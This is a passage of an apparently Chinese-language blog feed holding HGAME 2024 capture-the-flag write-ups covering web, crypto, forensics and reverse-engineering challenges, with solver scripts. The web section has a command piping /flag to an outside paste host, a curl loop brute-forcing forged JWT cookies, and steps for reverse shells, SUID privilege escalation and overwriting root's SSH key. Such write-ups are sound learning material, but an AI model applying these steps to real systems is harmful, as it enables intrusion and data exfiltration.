s.add( 116 * v9 + 152 * v29 + 235 * v20 + 202 * v18 + 85 * (v8 + 3 * v11) + 221 * (v16 + v40) + 125 * (v33 + v24) + 7 * (19 * v4 + 9 * (v10 + 2 * v25) + v2 + 33 * v3 + 32 * v19) + 3 * (71 * v39 + 43 * v22 + 32 * (v17 + v26) + 15 * (v5 + v6 + 2 * v23) + v28 + 74 * v31 + 48 * v42) + 10 * (v21 + 11 * v30 + 16 * v15) + 136 * v7 + 106 * v1 + 41 * v27 == 403661 )
s.add( 127 * v4 + 106 * v15 + 182 * v30 + 142 * v5 + 159 * v16 + 17 * v1 + 211 * v6 + 134 * v2 + 199 * v7 + 103 * v28 + 247 * v23 + 122 * v9 + 95 * v41 + 62 * v10 + 203 * v39 + 16 * v11 + 41 * (6 * v42 + v25) + 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40) + 10 * (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29) + 6 * (23 * v27 + v26) + 213 * v18 + 179 * v3 + 43 * v19 == 418596 )
s.add( 149 * v19 + v1 + 133 * v22 + 207 * v41 + 182 * v26 + 234 * v7 + 199 * v8 + 168 * v21 + 58 * v10 + 108 * v20 + 142 * v18 + 156 * (v9 + v25) + 16 * (v29 + 6 * v31) + 126 * (v17 + 2 * v39) + 127 * (v4 + 2 * v27 + v40) + 49 * (v30 + 4 * v16) + 11 * (v5 + 22 * v11) + 5 * (v15 + v42 + 45 * v24 + 50 * v28) + 109 * v2 + 124 * v6 + 123 * v3 == 418697 )

print(1)

print(s.check())
m = s.model()
print(m)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Reverse and Escalation.&lt;/h3&gt;
&lt;p&gt;上去，发现是 ActiveMQ。&lt;/p&gt;
&lt;p&gt;直接找个 CVE Payload 就能 getshell。&lt;/p&gt;
&lt;p&gt;注意到 find 有 suid，直接读取 /flag&lt;/p&gt;
&lt;h3&gt;火箭大头兵&lt;/h3&gt;
&lt;p&gt;注意到 profile 的字段是拼接放进 ctx 的。&lt;/p&gt;
&lt;p&gt;可以构造以覆盖 jwt secret。&lt;/p&gt;
&lt;p&gt;直接暴力即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; for i in $(seq 0 2000); do token=`./jwt_gen $i`; echo $i $token; curl -vv &apos;http://139.196.108.40:30369/message&apos; -H &apos;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&apos; \
  -H &apos;Accept-Language: zh&apos; \
  -H &apos;Cache-Control: no-cache&apos; \
  -H &apos;Connection: keep-alive&apos; \
  -H &quot;Cookie: token=${token}&quot; \
  -H &apos;Pragma: no-cache&apos; \
  -H &apos;Upgrade-Insecure-Requests: 1&apos; \
  -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&apos; \
  --insecure  &amp;gt; tmp2; done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reverse and Escalation.II&lt;/h3&gt;
&lt;p&gt;一样套路拿到 shell 后，发现 find 是被替换过的。&lt;/p&gt;
&lt;p&gt;要我传 arg 进去满足随机生成的等式。&lt;/p&gt;
&lt;p&gt;拖下来逆一手。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /flag | curl -F &quot;c=@-&quot; &quot;https://fars.ee/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现随机数由 time 确定，写个程序同时随机即可。&lt;/p&gt;
&lt;p&gt;注意到过了条件也之后调 ls。但是是相对路径，那么改一手 PATH 就是了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-28
 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;ctime&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

int main() {
    srand(time(0));
    printf( &quot;find &quot; );
    for( int i = 0; i &amp;lt;= 38; i ++ ) {
        int v7 = rand() % 23333;
        int v6 = rand() % 23333;
        printf( &quot;%d &quot;, v6 + v7 );
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Whose Home?&lt;/h3&gt;
&lt;p&gt;上去 qbit，先试试默认密码。&lt;/p&gt;
&lt;p&gt;进去了，看看设置，发现邮箱部分是已经填写的。&lt;/p&gt;
&lt;p&gt;任意执行反弹 shell 后，可以读到邮箱密码。&lt;/p&gt;
&lt;p&gt;同时，iconv 有 suid，可以读到 flag1。&lt;/p&gt;
&lt;p&gt;flag2 在别的机子上。&lt;/p&gt;
&lt;p&gt;传个扫描器上去开扫。&lt;/p&gt;
&lt;p&gt;扫到个 6800。&lt;/p&gt;
&lt;p&gt;不放就当他是 aria2 的 rpc server，链接，用 smtp 密码当 token。&lt;/p&gt;
&lt;p&gt;发现运行用户是 root，覆写公钥。&lt;/p&gt;
&lt;p&gt;ssh 登录，读取 flag 即可。&lt;/p&gt;
</content:encoded><category>ctf</category><author>woshiluo</author></item><item><title>HGAME 2024 Week3 WriteUP</title><link>https://blog.woshiluo.com/posts/2024/02/hgame-week3-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/02/hgame-week3-writeup/</guid><pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Written by woshiluo.&lt;/p&gt;
&lt;p&gt;给官方怎么交的我交原模原样发过来了，如有错误烦请各位大佬斧正。&lt;/p&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;matrix_equation&lt;/h3&gt;
&lt;p&gt;考虑构造格对应格求最短向量，即可得到一组合法的 $p,q,r$。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;
from Crypto.Util.number import *
import hashlib
f rom sage.all import *

k1=73715329877215340145951238343247156282165705396074786483256699817651255709671
k2=61361970662269869738270328523897765408443907198313632410068454223717824276837
M = matrix(ZZ, [[2**256,0,0],[k1,1,0],[k2,0,1]])
# L = M.LLL()
# # or
# L = M.BKZ(block_size=2)
# shortestV = L[0]
# print(shortestV)
L1 = [  5851117074945081723062478,  -9396324357950573888994599, -15154059265021257630097517]
# L2 = [ 65301243525031258000907285,  33281308486653930151733737,  -4066293048823621784993250]
# L3 = [ 45515665156713370235083473, -46397424257679676851556254,  57263293525378453480844839]

t = L1[0]
q = L1[1]
r = L1[2]
p = ( L1[0] - ( q * k1 + r * k2 ) ) // 2**256
flag=&apos;hgame{&apos;+hashlib.sha256(str(p+q+r).encode()).hexdigest()+&apos;}&apos;
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;exRSA&lt;/h3&gt;
&lt;p&gt;裸的三维 winner&apos;s attack，对着 ctfwiki 抄格就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;
from Crypto.Util.number import *
from gmpy2 import invert
from sage.all import *
from decimal import Decimal

e1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753

alpha = 3/8
N_2_3 = 2**1366
N_3_2 = 2**3072
N_a = 2**768
N_sqrt = 2**1024

print(N_a)

mat = matrix(ZZ,
             [[ 1, -N,   0,     N*N,    0,        0,        0,        -N**3 ],
              [ 0, e1, -e1, -N * e1,  -e1,        0,   N * e1,   N * N * e1 ],
              [ 0,  0,  e2, -N * e2,    0,   N * e2,        0,   N * N * e2 ],
              [ 0,  0,   0, e1 * e2,    0, -e1 * e2, -e1 * e2, -N * e1 * e2 ],
              [ 0,  0,   0,       0,   e3, - N * e3,  -N * e3,   N * N * e3 ],
              [ 0,  0,   0,       0,    0,  e1 * e3,        0, -N * e1 * e3 ],
              [ 0,  0,   0,       0,    0,        0,  e2 * e3, -N * e2 * e3 ],
              [ 0,  0,   0,       0,    0,        0,        0, e1 * e2 * e3 ]])

D = diagonal_matrix(ZZ,[N_3_2, N, N_a * N_3_2, N_sqrt, N_a * N_3_2, N_a * N, N_a * N, 1 ])

Ls = (mat*D).LLL()

for L in Ls:
    x=L*((mat*D)**-1)
    phi=int(x[1]/x[0]*e1)
    d=invert(0x10001, phi)
    m=pow(c,d,N)
    print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HNP&lt;/h3&gt;
&lt;p&gt;感觉是一个比较标准的题目。&lt;/p&gt;
&lt;p&gt;将同余式写开，枚举 $b_i$ - $b_0$，可以得到 $n$ 个等式。&lt;/p&gt;
&lt;p&gt;再加一个等式确保在 SVP 内即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# sage
from Crypto.Util.number import *
from sage.all import *

# import gmpy2

p=ZZ(11306299241774950053269547103284637414407835125777245204069367567691021928864773207548731051592853515206232365901169778048084146520829032339328263913558053)
t=[ ... ]
res=[2150646508, 1512876052, 2420557546, 2504482055, 892924885, 213721693, 2708081441, 1242578136, 717552493, 3210536920, 2868728798, 1873446451, 645647556, 2863150833, 2481560171, 2518043272, 3183116112, 3032464437, 934713925, 470165267, 1104983992, 194502564, 1621769687, 3844589346, 21450588, 2520267465, 2516176644, 3290591307, 3605562914, 140915309, 3690380156, 3646976628]
n=32
T=ZZ(2**n+1)
inv_T=T.inverse_mod(p)

t = [ ZZ(x) for x in t ]
b = [ ZZ(x) for x in res ]
d = [ 0 for i in range(n)]
e = [ 0 for i in range(n)]
mat = [ [ 0 for i in range( n + 1 ) ] for j in range( n + 1 ) ]

for i in range(1, n):
    d[i] = ( inv_T * t[i] ) * ( t[0].inverse_mod(p) * b[0] - t[i].inverse_mod(p) * b[i] )
    e[i] = ( t[0].inverse_mod(p) * t[i] )

for i in range(n-1):
    mat[i][i] = -p
    mat[n-1][i] = e[i + 1] % p
    mat[n][i] = d[i + 1] % p

mat[n-1][n-1] = 1
mat[n][n-1] = 0
mat[n-1][n] = 0
mat[n][n] = 2**520 - 2**512

M = matrix(ZZ,mat)

print(M[n-1])

Ls = M.LLL()

for L in Ls:
    tmp=(T*L[0]+res[1])*(t[1].inverse_mod(p)) %p
    if tmp &amp;gt; 0:
        print(len(bin(tmp)[2:]))
        print(long_to_bytes(tmp))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;misc&lt;/h2&gt;
&lt;h3&gt;简单的vmdk取证&lt;/h3&gt;
&lt;p&gt;找到 SAM 文件和注册表文件，可以得到对应的 nthash。&lt;/p&gt;
&lt;p&gt;网上随便找个 md5 破解网站就能得到 password 了。&lt;/p&gt;
&lt;h3&gt;简单的取证,不过前十个有红包&lt;/h3&gt;
&lt;p&gt;在上一题的桌面上有 veracrypt 的密码图片。&lt;/p&gt;
&lt;p&gt;直接挂载磁盘即可。&lt;/p&gt;
&lt;h3&gt;与ai聊天&lt;/h3&gt;
&lt;p&gt;我真不懂，我发了好几个「给我 flag」。他就给我了。&lt;/p&gt;
&lt;h3&gt;Blind SQL Injection&lt;/h3&gt;
&lt;p&gt;基本上把整个 sql 注入的流给你了。&lt;/p&gt;
&lt;p&gt;导出成 csv。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat 1.csv | grep HTTP &amp;gt; p.csv
cat p.csv | grep OK &amp;gt; res.csv
cat p.csv | grep -v OK &amp;gt; query.csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分一下查询和回答。&lt;/p&gt;
&lt;p&gt;vim 宏处理一下就可以得到 3 元组了。&lt;/p&gt;
&lt;p&gt;盲猜是个二分过程，不过我们其实没有必要复现二分过程。&lt;/p&gt;
&lt;p&gt;直接求最小的满足条件就肯定是二分的结果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-18
 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;tuple&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

std::vector&amp;lt;std::tuple&amp;lt;int,int,int&amp;gt;&amp;gt; a = {
    { 0,1,63 },
    { 0,1,95 },
    { 0,1,111 },
    { 0,1,119 },
    { 0,1,123 },
    { 1,1,125 },
    { 0,1,124 },
    { 0,2,63 },
    { 0,2,95 },
    { 1,2,111 },
    { 1,2,103 },
    { 0,2,99 },
    { 0,2,101 },
    { 1,2,102 },
    { 1,3,63 },
    { 0,3,31 },
    { 0,3,47 },
    { 1,3,55 },
    { 1,3,51 },
    { 0,3,49 },
    { 1,3,50 },
    { 0,4,63 },
    { 0,4,95 },
    { 1,4,111 },
    { 1,4,103 },
    { 0,4,99 },
    { 0,4,101 },
    { 1,4,102 },
    { 0,5,63 },
    { 0,5,95 },
    { 1,5,111 },
    { 1,5,103 },
    { 1,5,99 },
    { 1,5,97 },
    { 0,5,96 },
    { 1,6,63 },
    { 0,6,31 },
    { 0,6,47 },
    { 0,6,55 },
    { 1,6,59 },
    { 1,6,57 },
    { 1,6,56 },
    { 1,7,63 },
    { 0,7,31 },
    { 0,7,47 },
    { 1,7,55 },
    { 1,7,51 },
    { 0,7,49 },
    { 1,7,50 },
    { 1,8,63 },
    { 0,8,31 },
    { 0,8,47 },
    { 0,8,55 },
    { 1,8,59 },
    { 1,8,57 },
    { 0,8,56 },
    { 1,9,63 },
    { 0,9,31 },
    { 0,9,47 },
    { 1,9,55 },
    { 0,9,51 },
    { 1,9,53 },
    { 0,9,52 },
    { 0,10,63 },
    { 0,10,95 },
    { 1,10,111 },
    { 1,10,103 },
    { 1,10,99 },
    { 0,10,97 },
    { 0,10,98 },
    { 1,11,63 },
    { 0,11,31 },
    { 0,11,47 },
    { 0,11,55 },
    { 1,11,59 },
    { 1,11,57 },
    { 1,11,56 },
    { 1,12,63 },
    { 0,12,31 },
    { 0,12,47 },
    { 1,12,55 },
    { 1,12,51 },
    { 0,12,49 },
    { 0,12,50 },
    { 0,13,63 },
    { 0,13,95 },
    { 1,13,111 },
    { 1,13,103 },
    { 0,13,99 },
    { 1,13,101 },
    { 1,13,100 },
    { 1,14,63 },
    { 0,14,31 },
    { 1,14,47 },
    { 0,14,39 },
    { 0,14,43 },
    { 1,14,45 },
    { 0,14,44 },
    { 1,15,63 },
    { 0,15,31 },
    { 0,15,47 },
    { 1,15,55 },
    { 0,15,51 },
    { 0,15,53 },
    { 1,15,54 },
    { 0,16,63 },
    { 0,16,95 },
    { 1,16,111 },
    { 1,16,103 },
    { 1,16,99 },
    { 0,16,97 },
    { 0,16,98 },
    { 0,17,63 },
    { 0,17,95 },
    { 1,17,111 },
    { 1,17,103 },
    { 1,17,99 },
    { 1,17,97 },
    { 0,17,96 },
    { 0,18,63 },
    { 0,18,95 },
    { 1,18,111 },
    { 1,18,103 },
    { 1,18,99 },
    { 0,18,97 },
    { 1,18,98 },
    { 1,19,63 },
    { 0,19,31 },
    { 1,19,47 },
    { 0,19,39 },
    { 0,19,43 },
    { 1,19,45 },
    { 0,19,44 },
    { 1,20,63 },
    { 0,20,31 },
    { 0,20,47 },
    { 0,20,55 },
    { 1,20,59 },
    { 1,20,57 },
    { 1,20,56 },
    { 1,21,63 },
    { 0,21,31 },
    { 0,21,47 },
    { 0,21,55 },
    { 1,21,59 },
    { 1,21,57 },
    { 0,21,56 },
    { 0,22,63 },
    { 0,22,95 },
    { 1,22,111 },
    { 1,22,103 },
    { 0,22,99 },
    { 1,22,101 },
    { 0,22,100 },
    { 1,23,63 },
    { 0,23,31 },
    { 0,23,47 },
    { 1,23,55 },
    { 0,23,51 },
    { 1,23,53 },
    { 1,23,52 },
    { 1,24,63 },
    { 0,24,31 },
    { 1,24,47 },
    { 0,24,39 },
    { 0,24,43 },
    { 1,24,45 },
    { 0,24,44 },
    { 1,25,63 },
    { 0,25,31 },
    { 0,25,47 },
    { 1,25,55 },
    { 0,25,51 },
    { 1,25,53 },
    { 0,25,52 },
    { 1,26,63 },
    { 0,26,31 },
    { 0,26,47 },
    { 1,26,55 },
    { 1,26,51 },
    { 0,26,49 },
    { 1,26,50 },
    { 1,27,63 },
    { 0,27,31 },
    { 0,27,47 },
    { 1,27,55 },
    { 0,27,51 },
    { 0,27,53 },
    { 0,27,54 },
    { 1,28,63 },
    { 0,28,31 },
    { 0,28,47 },
    { 1,28,55 },
    { 1,28,51 },
    { 1,28,49 },
    { 0,28,48 },
    { 1,29,63 },
    { 0,29,31 },
    { 1,29,47 },
    { 0,29,39 },
    { 0,29,43 },
    { 1,29,45 },
    { 0,29,44 },
    { 1,30,63 },
    { 0,30,31 },
    { 0,30,47 },
    { 1,30,55 },
    { 0,30,51 },
    { 0,30,53 },
    { 0,30,54 },
    { 0,31,63 },
    { 0,31,95 },
    { 1,31,111 },
    { 1,31,103 },
    { 0,31,99 },
    { 1,31,101 },
    { 0,31,100 },
    { 0,32,63 },
    { 0,32,95 },
    { 1,32,111 },
    { 1,32,103 },
    { 0,32,99 },
    { 0,32,101 },
    { 1,32,102 },
    { 0,33,63 },
    { 0,33,95 },
    { 1,33,111 },
    { 1,33,103 },
    { 1,33,99 },
    { 1,33,97 },
    { 0,33,96 },
    { 0,34,63 },
    { 0,34,95 },
    { 1,34,111 },
    { 1,34,103 },
    { 1,34,99 },
    { 0,34,97 },
    { 1,34,98 },
    { 0,35,63 },
    { 0,35,95 },
    { 1,35,111 },
    { 1,35,103 },
    { 1,35,99 },
    { 1,35,97 },
    { 0,35,96 },
    { 0,36,63 },
    { 0,36,95 },
    { 1,36,111 },
    { 1,36,103 },
    { 1,36,99 },
    { 0,36,97 },
    { 1,36,98 },
    { 0,37,63 },
    { 0,37,95 },
    { 1,37,111 },
    { 1,37,103 },
    { 1,37,99 },
    { 0,37,97 },
    { 0,37,98 },
    { 0,38,63 },
    { 0,38,95 },
    { 0,38,111 },
    { 0,38,119 },
    { 1,38,123 },
    { 0,38,121 },
    { 0,38,122 },
    { 0,39,63 },
    { 0,39,95 },
    { 1,39,111 },
    { 1,39,103 },
    { 0,39,99 },
    { 0,39,101 },
    { 0,39,102 },
    { 0,40,63 },
    { 0,40,95 },
    { 1,40,111 },
    { 1,40,103 },
    { 1,40,99 },
    { 1,40,97 },
    { 0,40,96 },
    { 0,41,63 },
    { 0,41,95 },
    { 1,41,111 },
    { 0,41,103 },
    { 0,41,107 },
    { 1,41,109 },
    { 1,41,108 },
    { 0,42,63 },
    { 0,42,95 },
    { 1,42,111 },
    { 1,42,103 },
    { 0,42,99 },
    { 0,42,101 },
    { 1,42,102 },
    { 1,43,63 },
    { 0,43,31 },
    { 1,43,47 },
    { 0,43,39 },
    { 0,43,43 },
    { 1,43,45 },
    { 1,43,44 },
    { 0,44,63 },
    { 0,44,95 },
};

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    for( int i = 1; i &amp;lt;= 44; i ++ ) {
        int out = 0;
        for( int j = 0; j &amp;lt; 256; j ++ ) {
//            if( i == 1 &amp;amp;&amp;amp; ( j == &apos;}&apos; ) )
//                continue;
            bool flag = true;
            for( auto [ res, x, val ]: a ) {
                if( i == x &amp;amp;&amp;amp; ( j &amp;gt; val ) == res ) {
                    flag = false;
                    break;
                }
            }
            if( flag ) {
                out = 1;
                printf( &quot;%c&quot;, j );
                break;
            }
        }
        if( !out ) {
            printf( &quot;\n%d\n&quot;, i );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;findme&lt;/h3&gt;
&lt;p&gt;发现在程序里藏了个程序，而且四位一空。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dd if=./findme.exe of=./raw bs=1 skip=9280
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dd 后扔写个 fread patch 一下得到新程序。&lt;/p&gt;
&lt;p&gt;加了花，但是是固定的五个字节，直接替换成 90。&lt;/p&gt;
&lt;p&gt;分析一下，基本上是魔改的 rc4。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-09
 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const char key[] = &quot;deadbeef&quot;;
uint8_t enc[] =
{ 0x7D, 0x2B, 0x43, 0xA9, 0xB9, 0x6B, 0x93, 0x2D, 0x9A, 0xD0, 0x48, 0xC8, 0xEB, 0x51, 0x59, 0xE9, 0x74, 0x68, 0x8A, 0x45, 0x6B, 0xBA, 0xA7, 0x16, 0xF1, 0x10, 0x74, 0xD5, 0x41, 0x3C, 0x67, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
// who fucking know about this?
uint8_t box[256];

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    for( int i = 0; i &amp;lt; 256; i ++ ) {
        box[i] = -i;
    }
    i32 p = 0;
    for( int i = 0; i &amp;lt; 256; i ++ ) {
        p = ( p + box[i] + key[ i % 8 ] ) &amp;amp; 255;
        std::swap( box[i], box[p] );
    }
    int p1 = 0, p2 = 0;
    for( int i = 0; i &amp;lt; sizeof(enc); i ++ ) {
        p1 += 1;
        p2 = ( p2 + box[p1] ) &amp;amp; 255;
        std::swap( box[p1], box[p2] );
        enc[i] -= ( box[ -( box[p1] + box[p2] ) &amp;amp; 255 ] );
    }
    for( int i = 0; i &amp;lt; sizeof(enc); i ++ )
        printf( &quot;%c&quot;, enc[i] );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;mystery&lt;/h3&gt;
&lt;p&gt;发现主要执行内容都是被 libc 调用的。&lt;/p&gt;
&lt;p&gt;可以发现其实只对输入内容做了一次加密。但是对 key 好像做了不少操作。&lt;/p&gt;
&lt;p&gt;直接在对应位置断点，gdb 拿到处理后的 key。&lt;/p&gt;
&lt;p&gt;逆加密即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-20
